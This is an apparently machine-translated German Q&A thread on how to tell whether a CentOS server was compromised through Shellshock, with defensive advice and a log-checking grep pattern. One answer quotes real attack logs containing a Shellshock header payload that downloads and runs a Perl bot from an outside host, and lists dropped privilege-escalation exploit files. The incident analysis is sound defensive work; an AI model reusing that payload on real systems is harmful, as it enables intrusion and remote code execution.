Frage Shellshock: Woher weiß ich, ob mein Server kompromittiert ist + verdächtige Dateien, auf die Sie achten müssen


Drei Fragen, von denen ich hoffe, dass sie jemand beantworten kann:

  1. Woher weiß ich, ob mein Server aufgrund des Shellshock-Fehlers bereits kompromittiert wurde?
  2. Wenn es kompromittiert wurde, gibt es einen bestimmten Ordner, in dem ich nach bösartigen Dateien suchen sollte?
  3. Wie sieht eine schädliche Datei aus?

Ich betreibe CentOS 6, LEMP Stack


18
2017-09-29 11:34


Ursprung




Antworten:


Woher weiß ich, ob mein Server aufgrund des Shellshock-Fehlers bereits kompromittiert wurde?

Du nicht. Das ist die Idee einer Sicherheitslücke. Wenn du klicken musstest Lass die Cracker rein? OK / Abbrechen es wäre keine große Schwachstelle.

Sie haben vielleicht ein wenig Glück beim Überprüfen der Protokolle Ihrer Angriffsvektoren, aber da so viele Dienste verwundbar sind und nicht alle von ihnen jeden Zugriff protokollieren, ist es wahrscheinlich nicht möglich, einen Angriff abschließend zu finden.

Wenn es kompromittiert wurde, gibt es einen bestimmten Ordner, in dem ich nach bösartigen Dateien suchen sollte?

Nein, eine bösartige Datei könnte irgendwo sein.

Gemeinsame Rootkits installieren sich in /root oder / oder /tmp oder einer der binären Pfade, aber wirklich könnten sie überall sein. Sie könnten einen Namen haben ähnlich zu einem echten Service oder etwas "wichtigem" aussehen wie "IPTables" oder "kernel-bin"Aber sie könnten auch zufällige Zeichenketten oder der gleiche Name wie eine echte Binärdatei sein (nur in einem anderen Pfad). Sie können eine wirklich offensichtliche Rootkit-Lade erkennen /etc/rc.local oder Verbindungen über herstellen netstat -neopa. Suchen Sie nach verdächtigen Prozessnamen in top -c.

Ein weniger verbreitetes und viel schwieriger zu findendes Rootkit ersetzt eine Bibliothek oder lädt sich selbst als Shim-Bibliothek und fängt Systemaufrufe ab. Dies ist fast unmöglich zu finden, es sei denn, Sie streuen / verfolgen jedes einzelne auf Ihrem System laufende Objekt und vergleichen das Verhalten mit dem erwarteten Verhalten eines bekanntermaßen guten Systems oder Quellcodes.

Es wäre schneller, einfacher und schlüssiger, das System einfach neu zu laden.

Wie sieht eine schädliche Datei aus?

Wahrscheinlich wie jede andere normale ELF-Binärdatei oder Bibliothek. Es kann auch ein Skript sein.

Wenn Sie der Meinung sind, dass das System kompromittiert wurde, behandeln Sie das System so, als ob es kompromittiert wurde, und ergreifen Sie die erforderlichen Maßnahmen.


36
2017-09-29 11:46



+1 "Lass die Cracker rein?"  Zu einem anderen Hinweis ... wenn Sie unter Linux etwas "IPTables" sehen, sei sehr verdächtig. UNIXian ist CapsPhobic. - bishop
Wenn Sie der Meinung sind, dass Ihr System kompromittiert wurde, behandeln Sie das System so, als ob es kompromittiert wurde, und ergreifen Sie die erforderlichen Maßnahmen. Das bedeutet jedes mögliche System, das hat bash installiert und ein Netzwerkkabel eingesteckt, oder? - Federico Poloni
@FedericoPoloni Nur wenn jemand über das Netzwerk auf deine Shell zugreifen kann. Aber ansonsten hast du absolut recht. - scai
@FedericoPoloni Ich bin mir nicht sicher, ob das eine kluge Wahl ist, weil ich ständig alle Systeme herunterfahren muss, da ich nie hundertprozentig sicher sein kann, dass sie nicht kompromittiert sind, und niemand ernsthaft sicher sein kann, dass ihre Systeme nicht kompromittiert werden Sie sind sehr optimistisch. Wenn Sie verdächtig sind, dass sich Ihr System nicht so verhält, wie es sollte, sollten Sie es und seinen Netzwerkverkehr untersuchen, vorzugsweise von A CLEAN OS. Wenn Sie keine Anzeichen von Manipulationen feststellen, müssen Sie keine Maßnahmen ergreifen, um die Löcher zu reparieren. Ansonsten müssten wir ständig ALLE Systeme 24x7 neu installieren! - Frank Waller
@FrankWaller Ich stimme völlig zu. Es gibt immer eine entfernte Möglichkeit, dass ein System kompromittiert wurde und der Angreifer so geschickt ist, dass er keine Spuren hinterlässt, aber wir können 24x7 nicht neu installieren, um auf diesen Fall zu reagieren. - Federico Poloni


Shellshock ist kein Wurm, also suchen Sie keine Dateien. Shellshock ist eine Möglichkeit, ein Netzwerk anzugreifen, um Zugang zu erhalten. Einmal drinnen, wer weiß was der Angreifer tun wird.


20
2017-09-29 12:02



Diese Antwort scheint mir ein wenig verwirrt zu sein - vielleicht wurde sie in Eile weggeschleudert oder sollte ein Kommentar statt einer Antwort sein. Sicher, es ist kein Wurm (es ist eine Schwachstelle, keine Malware), aber es ist nicht klar, warum Sie das für relevant halten oder warum das bedeutet "es gibt keine Dateien, nach denen Sie suchen können". Shellshock ist keine Möglichkeit, ein Netzwerk anzugreifen; es ist eine Möglichkeit, in eine Maschine einzubrechen. Es ist ein Angriff auf eine Maschine, kein Netzwerk. - D.W.
@ D.W. Sehr knapp, aber eindeutig als direkte Reaktion auf die Sorgen des OP is there a particular folder where I should look for malicious files. - ᴠɪɴᴄᴇɴᴛ


Ich habe einen Versuch gesehen, den Fehler auszunutzen, der einen IRC-Bot als installieren würde /var/tmp/x. Aber im Allgemeinen gibt es keine speziellen Dateien, nach denen gesucht werden kann, da sie irgendwo oder nirgends sein können.

Wenn Sie über den Webserver kompromittiert wurden, wäre jede neue Datei oder jeder Prozess, der dem Webserver-Benutzer gehört, verdächtig.

Falls ein Angreifer zuerst den bash Fehler, um das System zu betreten und als nächstes eine lokale Schwachstelle zu werden rootEs könnte fast unmöglich werden, es zu erkennen.

Sieh dir das auch an ähnliche Frage.


5
2017-09-29 11:45



+1 für die Benutzereigentumsidee des Webservers - Xan


Ich würde die Antwort von suprjami wiederholen und sagen, dass wenn dein System verwundbar ist, du es als kompromittiert behandeln solltest.

Wenn Sie Apache ausführen, können Sie die Protokolle mit dem folgenden Befehl auf Shellshock-Eindringversuche überprüfen:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Dieser Befehl extrahiert alle Zeilen, die "cgi" enthalten, aus den Zugriffsprotokollen von Apache (standardmäßig access_log, access_log.1, access_log.2 usw. genannt) und leitet sie dann in egrep mit der Regex um.

(Quelle: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash)


4
2017-09-29 16:19



Beachten Sie, dass bei einer Standardkonfiguration von Apache nur Angriffe in der Ziel-URL und in den Kopfzeilen "User-Agent" und "Referer" angezeigt werden. Ein Angriff in einem Header wie "Cookie" oder "X-Ploit" wird nicht protokolliert. - Mark
@Mark Absolut, das hätte ich erwähnen sollen. - Ralph
Natürlich ist das erste, was ein Angreifer tun würde, jeden Hinweis auf den Angriff aus den Logs zu löschen ... weshalb Logs einmal und remote sein sollten! - Jörg W Mittag


Da es für Shellshock mehrere Angriffsvektoren gibt, von denen einige noch nicht für die Allgemeinheit bekannt sind oder durch ein benutzerdefiniertes CGI-Skript verursacht wurden, gibt es keine eindeutige Möglichkeit zu sagen, ob Sie kompromittiert sind oder nicht.

Zusätzlich zu den üblichen "lasst uns sehen, ob sich einige Systemdateien geändert haben oder etwas anderes verdächtiges in letzter Zeit passiert ist" nähern Sie sich vielleicht Ihrem Serververhalten.

  1. Gibt es plötzlich viel mehr Netzwerkverkehr?
  2. Hat sich die CPU / Speicherbelegung stark verändert?
  3. Ist etwas auf der Festplatte oder mehr I / O viel mehr als gewöhnlich essen?
  4. Tut netstat merkwürdige Netzwerkverbindungen anzeigen oder ps aux Prozesse zeigen, die du nicht erkennst?
  5. Versendet Ihr Server plötzlich viel mehr E-Mails als zuvor?

Wenn Sie über eine ordnungsgemäße Überwachung des Serverzustands verfügen (z Zabbix) kann es Ihnen helfen, Sicherheitslücken zu finden. Sie können auch die MD5 / SHA-Summen von Systemdateien mit einer bekannten guten Sicherung vergleichen.

Im Grunde genommen handeln Sie so, als wäre Ihr Server kompromittiert worden und untersuchen Sie alles, was Ihnen einfällt.


4
2017-09-30 07:11





Ich hatte gerade das Vergnügen, ein kompromittiertes älteres Plesk-System aufzuräumen. Das erste, was es verriet, waren zahlreiche Prozesse, die anfingen, eine Reihe von Ports zu hören, und andere, die versuchten, Code von dem ursprünglichen Scan-Server herunterzuladen.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Nach den Baumstämmen fand ich heraus, dass das ultimative Loch der a war cgi_wrapper Skript, etwas, das das System schützen und schützen sollte, ist das, was tatsächlich das Loch in den Schutz riss. Hier sind einige der Log-Zeilen von Probes und der erfolgreiche Angriff:

Dies sind die Zeilen aus dem access_log, da dies nur ein Beispiel ist, notieren Sie die 200 auf zwei der Zeilen, während die anderen mit 404 fehlschlagen. Sie müssen sich nicht um die Zeilen kümmern, die einen 404 haben, da diese nicht erfolgreich waren. die mit 200 aber taten es. Das Muster bei diesen Angriffen ist hier immer das gleiche: 1. suche ein anfälliges CGI-Skript benutze ShellShock-Exploit, um ein Perl-Skript herunterzuladen und auszuführen, lösche das Perl-Skript erneut. Das Perl-Skript wird tatsächlich einige Quelldateien herunterladen (tgz), sie kompilieren und ausführen, von dem, was ich gesehen habe, mindestens eine Hintertür und einen automatischen Aktualisierungsmechanismus enthalten, plus etwas, das wie Exploits aussieht, um erhöhte Ausführungsprivilegien zu erlangen. Alle anfänglichen Skripts werden tatsächlich als der vom Wrapper bereitgestellte Benutzer ausgeführt, während spätere Dienste mit einer PPID von 1 gestartet werden (gestartet vom Root-Prozess).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Und hier die entsprechenden error_log Zeilen:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Dateien, die nach / tmp heruntergeladen wurden Wie man sich denken kann, habe ich die Datei bot.pl nicht, da sie sofort gelöscht wird.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
